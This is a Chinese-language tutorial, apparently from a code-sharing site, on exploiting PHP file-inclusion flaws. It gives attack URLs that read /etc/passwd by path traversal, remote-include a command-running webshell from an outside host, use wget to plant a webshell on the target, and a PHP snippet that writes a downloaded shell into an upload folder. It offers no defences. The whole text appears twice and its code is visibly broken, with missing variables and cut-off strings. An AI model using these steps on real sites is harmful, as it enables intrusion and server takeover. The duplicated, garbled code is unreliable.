遠(yuǎn)程包含和本地包含漏洞的原理
發(fā)布日期:2021-12-19 07:14 | 文章來(lái)源:源碼之家
首先,我們來(lái)討論包含文件漏洞,首先要問(wèn)的是,什么才是"遠(yuǎn)程文件包含漏洞"?回答是:服務(wù)器通過(guò)php的特性(函數(shù))去包含任意文件時(shí),由于要包含的這個(gè)文件來(lái)源過(guò)濾不嚴(yán),從而可去包含一個(gè)惡意文件,而我們可以構(gòu)造這個(gè)惡意文件來(lái)達(dá)到邪惡的目的。幾乎所有的 cgi程序都有這樣的 bug,只是具體的表現(xiàn)方式不一樣罷了。
一、涉及到的危險(xiǎn)函數(shù)〔include(),require()和include_once(),require_once()〕
include() && require()語(yǔ)句:包括并運(yùn)行指定文件。
這兩種結(jié)構(gòu)除了在如何處理失敗之外完全一樣。include() 產(chǎn)生一個(gè)警告而 require() 則導(dǎo)致一個(gè)致命錯(cuò)誤。換句話說(shuō),如果你想在遇到丟失文件時(shí)停止處理頁(yè)面就用 require()。include() 就不是這樣,腳本會(huì)繼續(xù)運(yùn)行。
如果"allow_url_fopen"在 PHP 中被激活(默認(rèn)配置),也可以用 URL(通過(guò) HTTP 或者其它支持的封裝協(xié)議)而不是本地文件來(lái)指定要被包括的文件。如果目標(biāo)服務(wù)器將目標(biāo)文件作為 PHP 代碼解釋?zhuān)瑒t可以用適用于HTTP GET 的 URL 請(qǐng)求字符串來(lái)向被包括的文件傳遞變量。
require_once()?。ΓΑnclude_once()
require_once ()和include_once() 語(yǔ)句在腳本執(zhí)行期間包括并運(yùn)行指定文件。此行為和 require() 語(yǔ)句類(lèi)似,唯一區(qū)別是如果該文件中的代碼已經(jīng)被包括了,則不會(huì)再次包括。適用于在腳本執(zhí)行期間同一個(gè)文件有可能被包括超過(guò)一次的情況下,你想確保它只被包括一次以避免函數(shù)重定義,變量重新賦值等問(wèn)題。
二、為什么要包含文件
程序員寫(xiě)程序的時(shí)候,不喜歡干同樣的事情,也不喜歡把同樣的代碼(比如一些公用的函數(shù))寫(xiě)幾次,于是就把需要公用的代碼寫(xiě)在一個(gè)單獨(dú)的文件里面,比如 share.php,而后在其它文件進(jìn)行包含調(diào)用。在php里,我們就是使用上面列舉的那幾個(gè)函數(shù)來(lái)達(dá)到這個(gè)目的的,它的工作流程:如果你想在 main.php里包含share.php,我將這樣寫(xiě)include("share.php")就達(dá)到目的,然后就可以使用share.php中的函數(shù)了,像這個(gè)寫(xiě)死需要包含的文件名稱(chēng)的自然沒(méi)有什么問(wèn)題,也不會(huì)出現(xiàn)漏洞,那么問(wèn)題到底是出在哪里呢?
有的時(shí)候可能不能確定需要包含哪個(gè)文件,比如先來(lái)看下面這個(gè)文件index.php的代碼:
CODE: [Copy to clipboard]
--------------------------------------------------------------------------------
if ([page]) {
include GET[page];
} else {
include "home.
}
很正常的一段PHP代碼,它是怎么運(yùn)作的呢?這里面涉及到GET的意義,我就不打算講了(要不又能寫(xiě)篇HTTP的文章了),如果你還不了解GET,POST,等,那么你需要再Google一些相關(guān)的資料好好補(bǔ)一補(bǔ)了。
上面這段代碼的使用格式可能是這樣的:http://www.1steam.cn/php/index.php?page=main.php或者h(yuǎn)ttp: //www.1steam.cn/php/index.php?page=downloads.php ,結(jié)合上面代碼,簡(jiǎn)單說(shuō)下怎么運(yùn)作的:
1.提交上面這個(gè)URL,在index.php中就取得這個(gè)page的值(_GET[page])。
2.判斷GET[page]是不是空,若不空(這里是main.php)就用include來(lái)包含這個(gè)文件。
3.若_GET[page]空的話就執(zhí)行else,來(lái)include home.php 這個(gè)文件。
三、為什么會(huì)產(chǎn)生漏洞
你也許要說(shuō),這樣很好呀,可以按照URL來(lái)動(dòng)態(tài)包含文件,多么方便呀,怎么產(chǎn)生漏洞的呢?問(wèn)題的答案是:我們不乖巧,我們總喜歡和別人不一樣,我們不會(huì)按照他的鏈接來(lái)操作,我們可能想自己寫(xiě)想包含(調(diào)用)的文件,比如我們會(huì)隨便的打入下面這個(gè)URL:http: //www.1steam.cn/php/index.php?page=hello.php。然后我們的index.php程序就傻傻按照上面我們說(shuō)得步驟去執(zhí)行:取page為hello.php,然后去include(hello.php),這時(shí)問(wèn)題出現(xiàn)了,因?yàn)槲覀儾](méi)有hello.php這個(gè)文件,所以它 include的時(shí)候就會(huì)報(bào)警告,類(lèi)似下列信息:
Quote:
Warning: include(hello.php) [function.include]: failed to open stream: No such file or directory in /vhost/wwwroot/php/index.php on line 3
Warning: include() [function.include]: Failed opening 'hello.php' for inclusion (include_path='.:') in /vhost/wwwroot/php/index.php on line 3
注意上面的那個(gè)Warning就是找不到我們指定的hello.php文件,也就是包含不到我們指定路徑的文件;而后面的警告是因?yàn)榍懊鏇](méi)有找到指定文件,所以包含的時(shí)候就出警告了。
四、怎么利用
上面可以看到,問(wèn)題出現(xiàn)了,那么我們?cè)趺蠢眠@樣的漏洞呢,利用方法其實(shí)很多,但是實(shí)質(zhì)上都是差不多的,我這里說(shuō)三個(gè)比較常見(jiàn)的利用方法:
1.包含讀出目標(biāo)機(jī)上其它文件
由前面我們可以看到,由于對(duì)取得的參數(shù)page沒(méi)有過(guò)濾,于是我們可以任意指定目標(biāo)主機(jī)上的其它敏感文件,例如在前面的警告中,我們可以看到暴露的絕對(duì)路徑(vhost/wwwroot/php/),那么我們就可以多次探測(cè)來(lái)包含其它文件,比如指定URL為:http: //www.1steam.cn/php/index.php?page=./txt.txt 可以讀出當(dāng)前路徑下的txt.txt文件,也可以使用.. /../進(jìn)行目錄跳轉(zhuǎn)(在沒(méi)過(guò)濾../的情況下);也可以直接指定絕對(duì)路徑,讀取敏感的系統(tǒng)文件,比如這個(gè)URL:http: //www.1steam.cn/php/index.php?page=/etc/passwd ,如果目標(biāo)主機(jī)沒(méi)有對(duì)權(quán)限限制的很?chē)?yán)格,或者啟動(dòng) Apache的權(quán)限比較高,是可以讀出這個(gè)文件內(nèi)容的。否則就會(huì)得到一個(gè)類(lèi)似于:open_basedir restriction in effect.的Warning。
2.包含可運(yùn)行的PHP木馬
如果目標(biāo)主機(jī)的"allow_url_fopen"是激活的(默認(rèn)是激活的,沒(méi)幾個(gè)人會(huì)修改),我們就可以有更大的利用空間,我們可以指定其它URL上的一個(gè)包含PHP代碼的webshell來(lái)直接運(yùn)行,比如,我先寫(xiě)一段運(yùn)行命令的PHP代碼(加了注釋?zhuān)瑧?yīng)該看得懂),如下保存為cmd.txt(后綴不重要,只要內(nèi)容為PHP格式就可以了)。
以上這個(gè)文件的作用就是接受cmd指定的命令,并調(diào)用passthru函數(shù)執(zhí)行,把內(nèi)容返回在1.S.T之間。把這個(gè)文件保存到我們主機(jī)的服務(wù)器上(可以是不支持PHP的主機(jī)),只要能通過(guò)HTTP訪問(wèn)到就可以了,例如地址如下:http: //www.1ster.cn/cmd.txt ,然后我們就可以在那個(gè)漏洞主機(jī)上構(gòu)造如下URL來(lái)利用了:http: //www.1steam.cn/php/index.php?page=http://www.1ster.cn/cmd.txt?cmd=ls ,其中 cmd后面的就是你需要執(zhí)行的命令,其它常用的命令(以*UNIX為例)如下:
Quote:
ll 列目錄、文件(相當(dāng)于Windows下dir)
pwd 查看當(dāng)前絕對(duì)路徑
id whoami 查看當(dāng)前用戶
wget 下載指定URL的文件
等等其它的,你主機(jī)去BAIDU找吧,就不列舉了。
上面的方法就是得到一個(gè)Webshell了(雖然這個(gè)PHP文件不在目標(biāo)機(jī)上,但是它確實(shí)是個(gè)Webshell,不是么?呵呵)
3.包含一個(gè)創(chuàng)建文件的PHP文件
也許有的人認(rèn)為還是得到目標(biāo)機(jī)上的一個(gè)真實(shí)的Webshell比較放心,萬(wàn)一哪天人家發(fā)現(xiàn)這兒個(gè)包含漏洞修補(bǔ)了,我們就不能再遠(yuǎn)程包含得到上面的那個(gè)"偽 "Webshell了,不是么?可以理解這個(gè)心態(tài),我們繼續(xù)。得到一個(gè)真實(shí)的Webshell,我們也說(shuō)兩種常見(jiàn)的方法:
1)使用wget之類(lèi)的命令來(lái)下載一個(gè)Webshell
這個(gè)比較簡(jiǎn)單,也很常用,在上面我們得到的那個(gè)偽webshell中,我們可以執(zhí)行命令,那么我們也可以調(diào)用系統(tǒng)中的一個(gè)很厲害的角色, wget,這個(gè)命令的強(qiáng)大你可以google下,參數(shù)一大堆,絕對(duì)搞暈?zāi)?,呵呵,我們不需要那么?fù)雜,我們就使用一個(gè)-O(--output- document=FILE,把文檔寫(xiě)到FILE文件中) 就可以了,呵呵。
前提是你在按照前面的步驟放一個(gè)包含PHP代碼的Webshell在一個(gè)可以通過(guò)HTTP或者FTP等可以訪問(wèn)的地方,比如:http: //www.1ster.cn/1stphp.txt ,這個(gè)文件里寫(xiě)的就是Webshell的內(nèi)容。然后我們?cè)谇懊娴玫降膫蜽ebshell中執(zhí)行如下的 URL:http://www.1steam.cn/php/index.p ... w.1ster.cn/cmd.txt? cmd=wget http://www.1ster.cn/1stphp.txt -O 1stphp.php ,如果當(dāng)前目錄可寫(xiě),就能得到一個(gè)叫做1stphp.php的Webshell了;如果當(dāng)前目錄不可寫(xiě),還需要想其它的辦法。
2)使用文件來(lái)創(chuàng)建
前面的wget可能會(huì)遇到當(dāng)前目錄不能寫(xiě)的情況;或者目標(biāo)主機(jī)禁用了(或者沒(méi)裝)這個(gè)命令,我們又需要變通一下了,我們可以結(jié)合前面的包含文件漏洞來(lái)包含一個(gè)創(chuàng)建文件(寫(xiě)文件)的PHP腳本,內(nèi)容如下:
CODE: [Copy to clipboard]
--------------------------------------------------------------------------------
$f=file_get_contents("www.1ster.cn/1stphp.打開(kāi)指定路徑的文件流
$=fopen("./upload/1st.php","a"); //尋找一個(gè)可以的目錄,創(chuàng)建一個(gè)文件
fwrite (,$f); //把前面打開(kāi)的文件流寫(xiě)到創(chuàng)建的文件里
fclose(); //關(guān)閉保存文件
?>
還是寫(xiě)入我們上面用wget下載的那個(gè)php文件,但是我們改進(jìn)了方法,用PHP腳本來(lái)實(shí)現(xiàn),可以使用上面的cmd.php?cmd=ll查找可以寫(xiě)的目錄,比如這里的upload,然后把文件創(chuàng)建在這個(gè)目錄下:./upload/1st.php。然后就得到我們的Webshell了。
一、涉及到的危險(xiǎn)函數(shù)〔include(),require()和include_once(),require_once()〕
include() && require()語(yǔ)句:包括并運(yùn)行指定文件。
這兩種結(jié)構(gòu)除了在如何處理失敗之外完全一樣。include() 產(chǎn)生一個(gè)警告而 require() 則導(dǎo)致一個(gè)致命錯(cuò)誤。換句話說(shuō),如果你想在遇到丟失文件時(shí)停止處理頁(yè)面就用 require()。include() 就不是這樣,腳本會(huì)繼續(xù)運(yùn)行。
如果"allow_url_fopen"在 PHP 中被激活(默認(rèn)配置),也可以用 URL(通過(guò) HTTP 或者其它支持的封裝協(xié)議)而不是本地文件來(lái)指定要被包括的文件。如果目標(biāo)服務(wù)器將目標(biāo)文件作為 PHP 代碼解釋?zhuān)瑒t可以用適用于HTTP GET 的 URL 請(qǐng)求字符串來(lái)向被包括的文件傳遞變量。
require_once()?。ΓΑnclude_once()
require_once ()和include_once() 語(yǔ)句在腳本執(zhí)行期間包括并運(yùn)行指定文件。此行為和 require() 語(yǔ)句類(lèi)似,唯一區(qū)別是如果該文件中的代碼已經(jīng)被包括了,則不會(huì)再次包括。適用于在腳本執(zhí)行期間同一個(gè)文件有可能被包括超過(guò)一次的情況下,你想確保它只被包括一次以避免函數(shù)重定義,變量重新賦值等問(wèn)題。
二、為什么要包含文件
程序員寫(xiě)程序的時(shí)候,不喜歡干同樣的事情,也不喜歡把同樣的代碼(比如一些公用的函數(shù))寫(xiě)幾次,于是就把需要公用的代碼寫(xiě)在一個(gè)單獨(dú)的文件里面,比如 share.php,而后在其它文件進(jìn)行包含調(diào)用。在php里,我們就是使用上面列舉的那幾個(gè)函數(shù)來(lái)達(dá)到這個(gè)目的的,它的工作流程:如果你想在 main.php里包含share.php,我將這樣寫(xiě)include("share.php")就達(dá)到目的,然后就可以使用share.php中的函數(shù)了,像這個(gè)寫(xiě)死需要包含的文件名稱(chēng)的自然沒(méi)有什么問(wèn)題,也不會(huì)出現(xiàn)漏洞,那么問(wèn)題到底是出在哪里呢?
有的時(shí)候可能不能確定需要包含哪個(gè)文件,比如先來(lái)看下面這個(gè)文件index.php的代碼:
CODE: [Copy to clipboard]
--------------------------------------------------------------------------------
if ([page]) {
include GET[page];
} else {
include "home.
}
很正常的一段PHP代碼,它是怎么運(yùn)作的呢?這里面涉及到GET的意義,我就不打算講了(要不又能寫(xiě)篇HTTP的文章了),如果你還不了解GET,POST,等,那么你需要再Google一些相關(guān)的資料好好補(bǔ)一補(bǔ)了。
上面這段代碼的使用格式可能是這樣的:http://www.1steam.cn/php/index.php?page=main.php或者h(yuǎn)ttp: //www.1steam.cn/php/index.php?page=downloads.php ,結(jié)合上面代碼,簡(jiǎn)單說(shuō)下怎么運(yùn)作的:
1.提交上面這個(gè)URL,在index.php中就取得這個(gè)page的值(_GET[page])。
2.判斷GET[page]是不是空,若不空(這里是main.php)就用include來(lái)包含這個(gè)文件。
3.若_GET[page]空的話就執(zhí)行else,來(lái)include home.php 這個(gè)文件。
三、為什么會(huì)產(chǎn)生漏洞
你也許要說(shuō),這樣很好呀,可以按照URL來(lái)動(dòng)態(tài)包含文件,多么方便呀,怎么產(chǎn)生漏洞的呢?問(wèn)題的答案是:我們不乖巧,我們總喜歡和別人不一樣,我們不會(huì)按照他的鏈接來(lái)操作,我們可能想自己寫(xiě)想包含(調(diào)用)的文件,比如我們會(huì)隨便的打入下面這個(gè)URL:http: //www.1steam.cn/php/index.php?page=hello.php。然后我們的index.php程序就傻傻按照上面我們說(shuō)得步驟去執(zhí)行:取page為hello.php,然后去include(hello.php),這時(shí)問(wèn)題出現(xiàn)了,因?yàn)槲覀儾](méi)有hello.php這個(gè)文件,所以它 include的時(shí)候就會(huì)報(bào)警告,類(lèi)似下列信息:
Quote:
Warning: include(hello.php) [function.include]: failed to open stream: No such file or directory in /vhost/wwwroot/php/index.php on line 3
Warning: include() [function.include]: Failed opening 'hello.php' for inclusion (include_path='.:') in /vhost/wwwroot/php/index.php on line 3
注意上面的那個(gè)Warning就是找不到我們指定的hello.php文件,也就是包含不到我們指定路徑的文件;而后面的警告是因?yàn)榍懊鏇](méi)有找到指定文件,所以包含的時(shí)候就出警告了。
四、怎么利用
上面可以看到,問(wèn)題出現(xiàn)了,那么我們?cè)趺蠢眠@樣的漏洞呢,利用方法其實(shí)很多,但是實(shí)質(zhì)上都是差不多的,我這里說(shuō)三個(gè)比較常見(jiàn)的利用方法:
1.包含讀出目標(biāo)機(jī)上其它文件
由前面我們可以看到,由于對(duì)取得的參數(shù)page沒(méi)有過(guò)濾,于是我們可以任意指定目標(biāo)主機(jī)上的其它敏感文件,例如在前面的警告中,我們可以看到暴露的絕對(duì)路徑(vhost/wwwroot/php/),那么我們就可以多次探測(cè)來(lái)包含其它文件,比如指定URL為:http: //www.1steam.cn/php/index.php?page=./txt.txt 可以讀出當(dāng)前路徑下的txt.txt文件,也可以使用.. /../進(jìn)行目錄跳轉(zhuǎn)(在沒(méi)過(guò)濾../的情況下);也可以直接指定絕對(duì)路徑,讀取敏感的系統(tǒng)文件,比如這個(gè)URL:http: //www.1steam.cn/php/index.php?page=/etc/passwd ,如果目標(biāo)主機(jī)沒(méi)有對(duì)權(quán)限限制的很?chē)?yán)格,或者啟動(dòng) Apache的權(quán)限比較高,是可以讀出這個(gè)文件內(nèi)容的。否則就會(huì)得到一個(gè)類(lèi)似于:open_basedir restriction in effect.的Warning。
2.包含可運(yùn)行的PHP木馬
如果目標(biāo)主機(jī)的"allow_url_fopen"是激活的(默認(rèn)是激活的,沒(méi)幾個(gè)人會(huì)修改),我們就可以有更大的利用空間,我們可以指定其它URL上的一個(gè)包含PHP代碼的webshell來(lái)直接運(yùn)行,比如,我先寫(xiě)一段運(yùn)行命令的PHP代碼(加了注釋?zhuān)瑧?yīng)該看得懂),如下保存為cmd.txt(后綴不重要,只要內(nèi)容為PHP格式就可以了)。
以上這個(gè)文件的作用就是接受cmd指定的命令,并調(diào)用passthru函數(shù)執(zhí)行,把內(nèi)容返回在1.S.T之間。把這個(gè)文件保存到我們主機(jī)的服務(wù)器上(可以是不支持PHP的主機(jī)),只要能通過(guò)HTTP訪問(wèn)到就可以了,例如地址如下:http: //www.1ster.cn/cmd.txt ,然后我們就可以在那個(gè)漏洞主機(jī)上構(gòu)造如下URL來(lái)利用了:http: //www.1steam.cn/php/index.php?page=http://www.1ster.cn/cmd.txt?cmd=ls ,其中 cmd后面的就是你需要執(zhí)行的命令,其它常用的命令(以*UNIX為例)如下:
Quote:
ll 列目錄、文件(相當(dāng)于Windows下dir)
pwd 查看當(dāng)前絕對(duì)路徑
id whoami 查看當(dāng)前用戶
wget 下載指定URL的文件
等等其它的,你主機(jī)去BAIDU找吧,就不列舉了。
上面的方法就是得到一個(gè)Webshell了(雖然這個(gè)PHP文件不在目標(biāo)機(jī)上,但是它確實(shí)是個(gè)Webshell,不是么?呵呵)
3.包含一個(gè)創(chuàng)建文件的PHP文件
也許有的人認(rèn)為還是得到目標(biāo)機(jī)上的一個(gè)真實(shí)的Webshell比較放心,萬(wàn)一哪天人家發(fā)現(xiàn)這兒個(gè)包含漏洞修補(bǔ)了,我們就不能再遠(yuǎn)程包含得到上面的那個(gè)"偽 "Webshell了,不是么?可以理解這個(gè)心態(tài),我們繼續(xù)。得到一個(gè)真實(shí)的Webshell,我們也說(shuō)兩種常見(jiàn)的方法:
1)使用wget之類(lèi)的命令來(lái)下載一個(gè)Webshell
這個(gè)比較簡(jiǎn)單,也很常用,在上面我們得到的那個(gè)偽webshell中,我們可以執(zhí)行命令,那么我們也可以調(diào)用系統(tǒng)中的一個(gè)很厲害的角色, wget,這個(gè)命令的強(qiáng)大你可以google下,參數(shù)一大堆,絕對(duì)搞暈?zāi)?,呵呵,我們不需要那么?fù)雜,我們就使用一個(gè)-O(--output- document=FILE,把文檔寫(xiě)到FILE文件中) 就可以了,呵呵。
前提是你在按照前面的步驟放一個(gè)包含PHP代碼的Webshell在一個(gè)可以通過(guò)HTTP或者FTP等可以訪問(wèn)的地方,比如:http: //www.1ster.cn/1stphp.txt ,這個(gè)文件里寫(xiě)的就是Webshell的內(nèi)容。然后我們?cè)谇懊娴玫降膫蜽ebshell中執(zhí)行如下的 URL:http://www.1steam.cn/php/index.p ... w.1ster.cn/cmd.txt? cmd=wget http://www.1ster.cn/1stphp.txt -O 1stphp.php ,如果當(dāng)前目錄可寫(xiě),就能得到一個(gè)叫做1stphp.php的Webshell了;如果當(dāng)前目錄不可寫(xiě),還需要想其它的辦法。
2)使用文件來(lái)創(chuàng)建
前面的wget可能會(huì)遇到當(dāng)前目錄不能寫(xiě)的情況;或者目標(biāo)主機(jī)禁用了(或者沒(méi)裝)這個(gè)命令,我們又需要變通一下了,我們可以結(jié)合前面的包含文件漏洞來(lái)包含一個(gè)創(chuàng)建文件(寫(xiě)文件)的PHP腳本,內(nèi)容如下:
CODE: [Copy to clipboard]
--------------------------------------------------------------------------------
$f=file_get_contents("www.1ster.cn/1stphp.打開(kāi)指定路徑的文件流
$=fopen("./upload/1st.php","a"); //尋找一個(gè)可以的目錄,創(chuàng)建一個(gè)文件
fwrite (,$f); //把前面打開(kāi)的文件流寫(xiě)到創(chuàng)建的文件里
fclose(); //關(guān)閉保存文件
?>
還是寫(xiě)入我們上面用wget下載的那個(gè)php文件,但是我們改進(jìn)了方法,用PHP腳本來(lái)實(shí)現(xiàn),可以使用上面的cmd.php?cmd=ll查找可以寫(xiě)的目錄,比如這里的upload,然后把文件創(chuàng)建在這個(gè)目錄下:./upload/1st.php。然后就得到我們的Webshell了。
版權(quán)聲明:本站文章來(lái)源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請(qǐng)保持原文完整并注明來(lái)源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非maisonbaluchon.cn所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來(lái)源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來(lái),僅供學(xué)習(xí)參考,不代表本站立場(chǎng),如有內(nèi)容涉嫌侵權(quán),請(qǐng)聯(lián)系alex-e#qq.com處理。
相關(guān)文章
關(guān)注官方微信